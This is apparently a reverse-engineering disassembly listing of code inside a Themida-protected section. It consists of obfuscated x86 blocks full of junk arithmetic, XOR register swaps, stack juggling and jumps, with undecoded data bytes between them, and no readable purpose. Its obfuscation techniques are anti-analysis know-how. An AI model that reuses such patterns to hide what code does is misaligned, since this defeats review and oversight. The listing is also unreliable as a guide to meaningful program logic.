		shr	ah, 4
		inc	ah
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 2Eh
		shr	bh, 8
		jmp	loc_511D99
; ---------------------------------------------------------------------------
		dd 61D8DBDh, 5DEF0176h,	2E27E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5144BE:				; CODE XREF: Themida_:0050C816j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C781h, 0FF570000h, 0E9042474h, 2331h, 0A968FE89h, 89000028h
		dd 27682404h, 8900000Fh, 4812434h, 0BB74E824h, 6C0CE920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5144F2:				; CODE XREF: Themida_:0050CE8Aj
		add	esp, 4
		neg	ecx
		add	ecx, 1
		add	ecx, 0FDD372FCh
		add	dword ptr [esp+4], 0BE74545h
		sub	dword ptr [esp+4], 55757AD8h
		push	edx
		mov	edx, 26A02D00h
		sub	[esp+8], edx
		pop	edx
		add	[esp+4], ecx
		add	dword ptr [esp+4], 26A02D00h
		add	dword ptr [esp+4], 55757AD8h
		sub	dword ptr [esp+4], 0BE74545h
		jmp	loc_50BA1B
; ---------------------------------------------------------------------------
		db 1
		dd 3C875DEFh, 24248B24h, 0FF7098E9h, 0C5B951FFh, 0C151BC3Eh
		dd 0E1C106E1h, 27B6807h, 1C890000h, 0FA1BB24h, 0D9014500h
		dd 11B8505Bh, 0E95B8E6Fh, 5C8Ch
; ---------------------------------------------------------------------------


loc_514574:				; CODE XREF: Themida_:0051A782j
		pop	edi
		xor	eax, 1010A64h
		mov	ebp, eax
		pop	eax
		add	eax, 73897A75h
		jmp	loc_513370
; ---------------------------------------------------------------------------
		db 89h
		dd 45E92404h, 68000096h, 0CDDh,	83242489h, 0E9042404h
		dd 23B6h, 81242C8Bh, 4C4h, 0C5895500h, 585DEE89h, 34FFF031h
		dd 3E93E924h, 34870000h, 24248B24h, 0FFAC72E9h,	240433FFh
		dd 33240431h, 248B2404h, 3C896624h, 2BF6624h, 44816600h
		dd 3EF40224h, 3AE95266h, 0C100008Eh, 0EC8107E1h, 4, 0BB241C89h
		dd 41BB71FEh, 0D6E9D931h, 83FFFF86h, 55E904C6h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514607:				; CODE XREF: Themida_:0051DDE1j
		pop	ebx
		shl	ebx, 2
		push	324Dh
		mov	[esp], eax
		mov	eax, 0E784F1D4h
		jmp	loc_518A0C
; ---------------------------------------------------------------------------
aZs		db 'Z~/',0
		dw 8900h
		dd 0EC83241Ch, 243C8904h, 0A971E9h
		db 0
; ---------------------------------------------------------------------------


loc_514631:				; CODE XREF: Themida_:005112F4j
		pop	ebx
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_50D600
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0E8h
		dd 0D378E205h, 242C8B2Eh, 9809E952h, 4830000h, 535F0424h
		dd 3840EEBBh, 0E9DBF709h, 0FFFFB8B3h, 295DEF29h, 6DC781D7h
		dd 8B58D060h, 0C4812414h, 4, 6F6BE9C3h,	0BA52FFFFh, 4
		dd 0E95AD301h, 371Fh
; ---------------------------------------------------------------------------


loc_514688:				; CODE XREF: Themida_:0051F3F5j
		xchg	esi, [esp]
		pop	edi
		push	ebp
		mov	ebp, 779630A3h
		jmp	loc_519904
; ---------------------------------------------------------------------------


loc_514697:				; CODE XREF: Themida_:0050C5C0j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_50C7A5
; ---------------------------------------------------------------------------


loc_5146B7:				; CODE XREF: Themida_:00517E12j
		add	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 2
		sub	ebp, 3F292E1Ah
		jmp	loc_50FC82
; ---------------------------------------------------------------------------
		db 51h
		dd 422A368h, 240C8B2Fh,	0F704C483h, 0D9F749D1h,	0C6CFE952h
		dd 34FF0000h, 89535824h, 0F0B951E3h, 81465C22h,	343600E9h
		dd 0DE75E965h, 48FFFFFh, 929BE924h, 74FF0000h, 8F5F0424h
		dd 248B2404h, 0C0B60F24h, 0FFD4A1E9h, 243489FFh, 0FFE607E9h
		dd 0E28952FFh, 1107BF57h, 62E924BDh, 8100006Bh,	0B33CB0C5h
		dd 5730E955h, 0EE800000h, 8AA4E926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51473E:				; CODE XREF: Themida_:0051D88Dj
		push	2F96h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_51EA8A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2E39002Dh, 9C85E942h, 70BA0000h, 424F8A2Ah, 74F3CA81h
		dd 554A3675h, 3C5EFBBDh, 0AE3AE929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514776:				; CODE XREF: Themida_:00520E4Ej
		mov	[esp], edi
		jmp	loc_519472
; ---------------------------------------------------------------------------
		dw 0C7B2h
		dd 801CB450h, 0E22826C4h, 0D67EE958h, 0FE89FFFFh, 7E6C15Fh
		dd 0E346F681h, 0F029D8CAh, 8B5B505Eh, 0C4832404h, 8BD90104h
		dd 0C481241Ch, 4, 31240C33h, 0C33240Ch,	24248B24h, 9C2404D2h
		dd 0FF6E20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5147C5:				; CODE XREF: Themida_:00513C8Bj
		mov	[esp], ebp
		xor	dword ptr [esp], 78364A0Ah
		jmp	loc_5203BF
; ---------------------------------------------------------------------------


loc_5147D4:				; CODE XREF: Themida_:0050FC63j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_50C70E
; ---------------------------------------------------------------------------
		dd 0DDF7CD87h, 297EF581h, 0B7E97306h, 50000089h, 9245E9h
		dd 2CC40400h, 0E9B22CBAh, 0A78Bh, 0B652C2B7h, 9AC680CDh
		dd 0E95AF708h, 933Ch
; ---------------------------------------------------------------------------


loc_514814:				; CODE XREF: Themida_:005109DBj
		mov	esi, 3B9C355Ah
		jmp	loc_51DD51
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 25ED8106h, 81FE3D8Eh, 905BFC6h, 81EE0100h, 905BFEEh
		dd 2434FF00h, 0B543E95Dh, 9ABB0000h, 0E980A25Ch, 0FFFFBA5Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 87A9E924h,	0CD29FFFFh
		dd 5DEF8959h, 0FF9CA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514869:				; CODE XREF: Themida_:0051DD60j
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		push	2EE7h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		jmp	loc_50CEDD
; ---------------------------------------------------------------------------


loc_514884:				; CODE XREF: Themida_:005148A6j
		add	edx, 111E65A2h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 31E91412h
		jmp	loc_515C7F
; ---------------------------------------------------------------------------


loc_51489A:				; CODE XREF: Themida_:0051E78Dj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_514884
; ---------------------------------------------------------------------------
aB_yusr2	db 'ǹ^_YUr2',0
		dw 6600h
		dd 2244481h, 81661979h,	5C02246Ch, 6657665Dh, 0E93EF4BFh
		dd 0FFFF86D8h
; ---------------------------------------------------------------------------


loc_5148D0:				; CODE XREF: Themida_:0051F357j
		pop	eax
		jmp	loc_50B88E
; ---------------------------------------------------------------------------


loc_5148D6:				; CODE XREF: Themida_:00514E57j
		mov	ebp, 4
		push	ecx
		jmp	loc_5201AE
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 4EC81h, 34890000h, 53E68924h, 0B9515B54h
		dd 4, 0FF99BDE9h, 242C8BFFh, 104C483h, 4EC81C3h, 89000000h
		dd 36E92434h, 0FFFFFFFCh, 0C6E92434h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51491F:				; CODE XREF: Themida_:0051E0D4j
		sub	esp, 4
		jmp	loc_51ED8A
; ---------------------------------------------------------------------------
		db 89h
		dd 3BE92434h, 81FFFF72h, 4C7h, 4C78300h, 0E9243C87h, 0FFFFA79Dh
; ---------------------------------------------------------------------------


loc_514940:				; CODE XREF: Themida_:0050C300j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_515317
; ---------------------------------------------------------------------------


loc_514951:				; CODE XREF: Themida_:00518CC3j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_51B13F
; ---------------------------------------------------------------------------
		db 81h
		dd 0CC31FDE5h, 59F5E96Bh, 0CDBA0000h, 8157A476h, 85AA7DC2h
		dd 5AD321AFh, 9926E9h, 242C8900h, 861EFABDh, 2B9AE933h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514992:				; CODE XREF: Themida_:00513914j
		pop	esi
		dec	edi
		add	edi, 0C93B55EBh
		add	esi, 376B22F4h
		sub	esi, edi
		jmp	loc_5208E8
; ---------------------------------------------------------------------------


loc_5149A7:				; CODE XREF: Themida_:0051BEB2j
		pop	ebp
		jmp	loc_519377
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 240CD25Ch, 6C2BE99Ch, 815BFFFFh, 0AC3EB6C7h,	0A0BE563Dh
		dd 0E906BA28h, 0FFFFFE27h, 57242C8Bh, 67D3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5149D5:				; CODE XREF: Themida_:0051184Aj
		pop	esp
		jmp	loc_51A19F
; ---------------------------------------------------------------------------
		db 66h
		dd 5224048Bh, 2434FF54h, 4C4835Ah, 163768h, 24048900h
		dd 468h, 24048B00h, 4C481h, 51500000h, 5F9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_514A05:				; CODE XREF: Themida_:0051841Bj
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		push	edx
		mov	edx, 0
		add	edx, ebx
		jmp	loc_51CFCA
; ---------------------------------------------------------------------------


loc_514A1C:				; CODE XREF: Themida_:00513F58j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_50F580
; ---------------------------------------------------------------------------


loc_514A2A:				; CODE XREF: Themida_:005208F5j
		shr	esi, 1
		inc	esi
		sub	esi, 2544BE56h
		xor	edx, esi
		jmp	loc_51549B
; ---------------------------------------------------------------------------


loc_514A3A:				; CODE XREF: Themida_:0051C507j
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		push	65Ah
		jmp	loc_51EC51
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4FE9240Ch, 5FFFFFD5h, 4C781h, 0EF810000h, 4,	8B243C87h
		dd 1C892424h, 5A5CE924h, 0E1800000h, 53526611h,	0FA8810B7h
		dd 66D1285Bh, 53C1805Ah, 18A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_514A85:				; CODE XREF: Themida_:0051406Fj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_51EB35
		push	51F3h
		mov	[esp], ebp
		push	68C9536Fh
		mov	ebp, [esp]
		push	ebx
		jmp	loc_51158B
; ---------------------------------------------------------------------------
		db 5Bh,	51h, 53h
		dd 63753BBh, 0DDC6B92Fh, 0E98149E5h, 42AE2AC7h,	73E9D901h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514ABF:				; CODE XREF: Themida_:00512E60j
		push	1FE0h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5FD0170Ah
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5130FB
; ---------------------------------------------------------------------------
		db 81h
		dd 0C04D97F6h, 0F2E9504Dh, 89FFFFDDh, 8FE92404h, 0BDFFFFBCh
		dd 2E524E4Ch, 1412B850h, 0C5091737h, 51406858h,	1C890000h
		dd 0A9D9E924h, 0CD87FFFFh, 0CDE9D1F7h, 53FFFFFCh, 0C3815B54h
		dd 4, 4C381h, 0E9530000h, 0FFFF85F3h, 586EE81h,	0ED8120FEh
		dd 35C77A0Eh, 0FF6C73E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514B3D:				; CODE XREF: Themida_:0051A49Dj
		mov	ecx, 4AAE5B8Ch
		jmp	loc_51E549
; ---------------------------------------------------------------------------
		db 86h
		dd 0FFEE80C6h, 0FFF167E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514B51:				; CODE XREF: Themida_:0050F802j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50CE00
; ---------------------------------------------------------------------------
		dd 0E904C483h, 4D3Dh
; ---------------------------------------------------------------------------


loc_514B64:				; CODE XREF: Themida_:0051C056j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		not	esi
		jmp	loc_50D9E7
; ---------------------------------------------------------------------------


loc_514B73:				; CODE XREF: Themida_:0050EE78j
		pop	esp
		add	ebx, 21816DF3h
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_51D114
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 0D3665C24h, 0E99C240Ch, 0FFFF6A3Dh, 0C8E5B951h
		dd 0CF29D156h, 5FF82159h, 31253435h, 7DE95205h,	81FFFF89h
		dd 726EC7EAh, 87C2815Eh, 173176Ah, 87EA81FAh, 8173176Ah
		dd 726EC7C2h, 0E207E95Eh, 0E689FFFFh, 4C681h, 0C6830000h
		dd 6B9FE904h, 0EA810000h, 11B8336Ah, 8103EAC1h,	9E185AE2h
		dd 0C1EAD108h, 0F28102E2h, 8D33EF68h, 0E95AD329h, 69F7h
; ---------------------------------------------------------------------------


loc_514C10:				; CODE XREF: Themida_:0050BAC1j
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 76E978B5h
		sub	edi, 76E978B1h
		add	edx, edi
		jmp	loc_51D4D1
; ---------------------------------------------------------------------------
		dw 489h
		dd 24348124h, 527A1FF2h, 0E9240C8Bh, 0FFFFAF82h, 1FEEEA81h
		dd 0D029B80Dh, 0A9C5E9h, 3C77FF00h, 3CC368h, 242C8900h
		dd 0FE505BBDh, 246C8178h, 0B71ED404h, 2EBE567Bh, 2962356Bh
		dd 0E9082474h, 4662h, 309F68h, 240C8900h, 240C8B54h, 4C481h
		dd 1C680000h, 89000046h, 0B6E92434h, 58FFFFD1h,	0BA593505h
		dd 0FFC0836Eh, 0E903E0C1h, 0FFFF978Ah, 0C006E2C0h, 0CA8003EAh
		dd 7272E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514CAA:				; CODE XREF: Themida_:0050FB26j
		pop	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_515EEE
; ---------------------------------------------------------------------------
		dd 4BFh, 0B67FE900h, 0C968FFFFh, 8900004Ah, 4682404h, 58000000h
		dd 48BC101h, 4C48124h, 83000000h, 0C3302C1h, 240C3124h
		dd 8B240C33h, 0FBE92424h, 830000ADh, 0FF5304EBh, 5B042474h
		dd 5BF7E9h
		db 0
; ---------------------------------------------------------------------------


loc_514CF9:				; CODE XREF: Themida_:005114CEj
		xor	edx, 3DE28609h
		add	[esp+4], edx
		jmp	loc_51FB95
; ---------------------------------------------------------------------------


loc_514D08:				; CODE XREF: Themida_:005104DBj
		sub	edi, ebx
		pop	ebx
		jmp	loc_516CD7
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 24892424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	ebx
		push	7A9A258Dh
		pop	ebx
		xor	ebx, 0CF95C0Ch
		neg	ebx
		xor	ebx, 899C867Bh
		jmp	loc_50E37B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0DEE9241Ch
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514D4B:				; CODE XREF: Themida_:0051E364j
		mov	eax, 4
		jmp	loc_513088
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 68665A66h, 89664CBBh, 0AB5240Ch, 80DEC380h
		dd 0EB285AC3h, 805AEB80h, 5966DEEBh, 65B05066h,	5866C300h
		dd 0DFC380h, 23BEE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514D8A:				; CODE XREF: Themida_:0051E785j
		neg	eax
		xchg	eax, edi
		shr	edi, 4
		jmp	loc_50E801
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8904EC83h, 7B68240Ch, 89000049h, 0BF572404h,	615A4836h
		dd 6850D7F7h, 596B4E15h, 0BF84E9h
		db 0
; ---------------------------------------------------------------------------


loc_514DB9:				; CODE XREF: Themida_:005194FAj
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		jmp	loc_51755C
; ---------------------------------------------------------------------------


loc_514DCC:				; CODE XREF: Themida_:0051A5C6j
		mov	[esp], ebp
		push	edx
		jmp	loc_51ECFC
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EEh
		dd 7A397604h, 137FB850h, 0EE816829h, 78D7FAAh, 0C681C629h
		dd 78D7FAAh, 48BA5258h,	81590534h, 0E82793EAh, 0BCEA8154h
		dd 4A412922h, 3DE9D2F7h, 5DFFFF8Ch, 0FFF0EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_514E11:				; CODE XREF: Themida_:0050D26Fj
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dw 0E0C0h
		dd 4D0F606h, 0B074E9EDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_514E22:				; CODE XREF: Themida_:0050F5D6j
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, esi
		jmp	loc_519B32
; ---------------------------------------------------------------------------


loc_514E32:				; CODE XREF: Themida_:00515327j
		pop	eax
		push	ebx
		mov	ebx, esp
		jmp	loc_51A505
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B243C87h, 0ABE92424h, 50FFFFBFh, 0B905E9h
		db 0
; ---------------------------------------------------------------------------


loc_514E4D:				; CODE XREF: Themida_:0051DB4Bj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		jmp	loc_5148D6
; ---------------------------------------------------------------------------
		dd 888EF480h, 0F58858E6h, 52C5805Ah, 0ED80C528h, 24048B52h
		dd 0E904C483h, 8653h
; ---------------------------------------------------------------------------


loc_514E78:				; CODE XREF: Themida_:0050E983j
		shl	ecx, 5
		push	esi
		push	edx
		mov	edx, 6B1D0A93h
		jmp	loc_5178D7
; ---------------------------------------------------------------------------
		db 83h
		dd 742D04C4h, 0E94AA807h, 0FFFF6B7Bh, 0E977B450h, 0FFFFB060h
		dd 0E904EC83h, 0FFFF83BBh, 0E924248Bh, 5612h, 5F2434FFh
		dd 4C481h, 0EC830000h, 24348904h, 7EE4BB53h, 5E530DEEh
		dd 6851555Bh, 249E6A9Eh, 92E18159h, 810EB42Eh, 0E2887F1h
		dd 0CF895750h, 84E9FD89h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514EE3:				; CODE XREF: Themida_:00515976j
		mov	eax, 48D002AAh
		xor	eax, 6EE573A6h
		jmp	loc_51AB81
; ---------------------------------------------------------------------------


loc_514EF2:				; CODE XREF: Themida_:0051C648j
		push	esp
		jmp	loc_51A283
; ---------------------------------------------------------------------------


loc_514EF8:				; CODE XREF: Themida_:005129E3j
		xor	esi, [esp]
		mov	esp, [esp]


loc_514EFE:				; CODE XREF: Themida_:00510E7Fj
					; Themida_:0051DC03j
		push	dword ptr [edi+24h]
		push	edi
		mov	edi, 0AC40AECh
		sub	dword ptr [esp+4], 1E735193h
		add	[esp+4], edi
		jmp	loc_513838
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 2F985FB8h, 2B99CD81h, 0D5F71697h, 0EAC3F581h
		dd 0EB2987A0h, 0FFF9CCE9h, 4BBFFh, 0EC830000h, 3995E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_514F42:				; CODE XREF: Themida_:0051B8EEj
		mov	esi, [esp]
		jmp	loc_50DF0D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 0C32AC305h, 76E9EE01h, 52FFFFE9h, 801F7BBAh,	8BD7890Ch
		dd 0C4812414h, 4, 89F98951h, 0BAB4E9CEh, 8159FFFFh, 0A2E8D5F5h
		dd 0E9585555h, 0FFFFF620h, 7CFA6866h, 0FFB19FE9h, 241C89FFh
		dd 1EF3E953h, 805B0000h, 59E9C9F2h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_514F9B:				; CODE XREF: Themida_:00511B5Aj
		add	edx, 6444C2C9h
		or	ebx, edx
		pop	edx
		jmp	loc_50E622
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5B000000h,	8904EC83h, 6850242Ch, 60540D06h
		dd 0B9B85058h, 253FDD62h, 49CA40CCh, 0E951D8F7h, 74F4h
; ---------------------------------------------------------------------------


loc_514FD4:				; CODE XREF: Themida_:0051C9D6j
		or	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 6F8B20F4h
		not	ebx
		shl	ebx, 3
		jmp	loc_51306B
; ---------------------------------------------------------------------------


loc_514FF0:				; CODE XREF: Themida_:0051B321j
		add	ebp, ecx
		jmp	loc_519C0F
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1184E9h, 4BA00h, 0D0010000h,	9CB9E95Ah, 148BFFFFh, 4C48324h
		dd 2C181h, 0A0680000h, 8900003Bh, 74FF240Ch, 0C8B0424h
		dd 4C48324h, 8B24048Fh,	4202424h, 0AEE99C24h, 59FFFF65h
		dd 63B8E781h, 0F7810A60h, 442B2B87h, 0B7CAC781h, 0C181B3B4h
		dd 0EB605CCh, 0E981F901h, 0EB605CCh, 0F7D9875Fh, 0E092E9D3h
		dd 0E801FFFFh, 8850E95Dh, 39BEFFFFh, 8969EA52h,	0D7295EF2h
		dd 3C87595Ah, 24248B24h, 24048B66h, 81E78957h, 4C7h, 0ACE95500h
		dd 87000072h, 0B2E92434h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_515097:				; CODE XREF: Themida_:00510500j
		mov	edx, 7C764773h
		jmp	loc_513F55
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 5704C483h, 0C781E789h, 4, 8704C783h,	0D4E9243Ch, 5FFFFFE0h
		dd 60BCEE81h, 0EEC13C79h, 4DF68108h, 551C04B2h,	63F975BDh
		dd 5DEE2904h, 34FFF301h, 68525E24h, 3149h, 230BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5150E5:				; CODE XREF: Themida_:005179D3j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_520DBC
; ---------------------------------------------------------------------------


loc_5150F0:				; CODE XREF: Themida_:0051D4D7j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		push	7C88h
		mov	[esp], ecx
		push	edx
		push	13280B56h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esp, 4
		shl	edx, 6
		xor	edx, 0B8B39533h
		jmp	loc_519D66
; ---------------------------------------------------------------------------


loc_515121:				; CODE XREF: Themida_:005138B7j
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	2E01h
		jmp	loc_50FF73
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0BEF68083h, 92F4E9h,	6792BF00h, 0E9515B8Ah, 0FFFFB7BDh
		dd 0A60787BBh, 8E3C119h, 8704BA52h, 0D331A607h,	0B3A3E95Ah
		dd 0D9090000h, 7868685Bh, 2C890000h, 0B8E95024h, 89000045h
		dd 5CC6E9C5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51517E:				; CODE XREF: Themida_:0051A9D7j
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 5E9D0861h
		jmp	loc_51F406
; ---------------------------------------------------------------------------
		db 9
		dd 0F80EE9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5151BE:				; CODE XREF: Themida_:00518895j
		xor	eax, 0C3A02D8h
		jmp	loc_50F0AB
; ---------------------------------------------------------------------------


loc_5151C8:				; CODE XREF: Themida_:0051EA14j
		pop	ecx
		add	esp, 4
		push	2994h
		mov	[esp], ebx
		jmp	loc_511C0C
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 87000000h, 0FF5C2434h, 0CFE92434h, 89FFFFAAh, 0C6215FF8h
		dd 0E26CE958h, 685AFFFFh, 12E6h, 0FFE6C1E9h, 240C31FFh
		dd 0B4F3E9h, 81CF2900h,	805E45EFh, 0D842E93Ch, 0E95CFFFFh
		dd 0FFFFBC19h
; ---------------------------------------------------------------------------


loc_51521C:				; CODE XREF: Themida_:00512059j
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	0A84h
		mov	[esp], ebx
		jmp	loc_50E8D1
; ---------------------------------------------------------------------------


loc_515230:				; CODE XREF: Themida_:0050BE81j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_50D728
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 2B682404h, 0E900000Dh, 240Ch, 332BEA81h, 0D30110B5h
		dd 81D3015Ah, 5A12E2EBh, 0BA525168h, 4C5A6FC8h,	148BD189h
		dd 4C48324h, 5A59CB29h,	0FF97B6E9h, 4C481FFh, 68000000h
		dd 75A4h, 89243C89h, 0BE56E7h, 8176CA58h, 392FCEh, 3E6C110h
		dd 0AC64E9h, 1EE76800h,	34890000h, 6ACABE24h, 43BF334Ch
		dd 814BA590h, 5D638AC7h, 0E9F72971h, 0FFFFBA7Eh, 70A1E781h
		dd 0A3E95352h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5152C3:				; CODE XREF: Themida_:0051C14Cj
		shr	ecx, 2
		shr	ecx, 8
		sub	ecx, 0F8CE7D17h
		mov	edx, ecx
		pop	ecx
		push	ebp
		push	esi
		mov	esi, 22657791h
		inc	esi
		sub	esi, 299C8312h
		mov	ebp, esi
		pop	esi
		mov	edi, ebp
		pop	ebp
		push	ebx
		push	44323208h
		pop	ebx
		xor	ebx, 4F9E3732h
		jmp	loc_511ECE
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812414h, 4, 4C481h, 0E95D0000h, 3427h
		dd 0B0E9DAF7h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_515317:				; CODE XREF: Themida_:0051494Cj
		pop	esp
		push	ebp
		jmp	loc_5106CC
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFF0CDh
; ---------------------------------------------------------------------------


loc_515324:				; CODE XREF: Themida_:0050EB30j
		push	dword ptr [esp]
		jmp	loc_514E32
; ---------------------------------------------------------------------------
		dd 0CDAB850h, 59052E57h, 0E957C144h, 1162h
; ---------------------------------------------------------------------------


loc_51533C:				; CODE XREF: Themida_:0051667Cj
		mov	eax, ebx
		pop	ebx
		add	eax, 0EB1F61B7h
		add	esi, 148C71CAh
		sub	esi, eax
		sub	esi, 148C71CAh
		pop	eax
		sub	edi, 19A11B5Ch
		add	edi, esi
		jmp	loc_50F8A1
; ---------------------------------------------------------------------------


loc_515360:				; CODE XREF: Themida_:0051C181j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5139B5
; ---------------------------------------------------------------------------
		dd 7C8368h, 24148900h, 3E7D6853h, 14890000h, 0B391B224h
		dd 0A24DE923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51538E:				; CODE XREF: Themida_:0050D3CBj
		mov	ecx, esi
		pop	esi
		push	ecx
		inc	dword ptr [esp]
		jmp	loc_51F563
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 24248B24h, 50243489h, 4EC815Eh, 89000000h, 68502434h
		dd 1DBA1821h, 0FF837AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5153B9:				; CODE XREF: Themida_:0051177Fj
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 7D076729h
		jmp	loc_513364
; ---------------------------------------------------------------------------


loc_5153CD:				; CODE XREF: Themida_:00519B34j
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 34E707F2h
		jmp	loc_51ADA7
; ---------------------------------------------------------------------------
		db 29h
		dd 0B64DE9C8h, 895CFFFFh, 0E954242Ch, 77DBh
; ---------------------------------------------------------------------------


loc_5153F0:				; CODE XREF: Themida_:0051B15Cj
		pop	esp
		mov	[esp], edi
		jmp	loc_50C219
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 47h
		dd 815F5457h, 4C7h, 4EF8300h, 0E9243C87h, 0B7C0h
; ---------------------------------------------------------------------------


loc_515410:				; CODE XREF: Themida_:005138BDj
		mov	al, 0Dh
		add	al, 32h
		jmp	loc_50B895
; ---------------------------------------------------------------------------


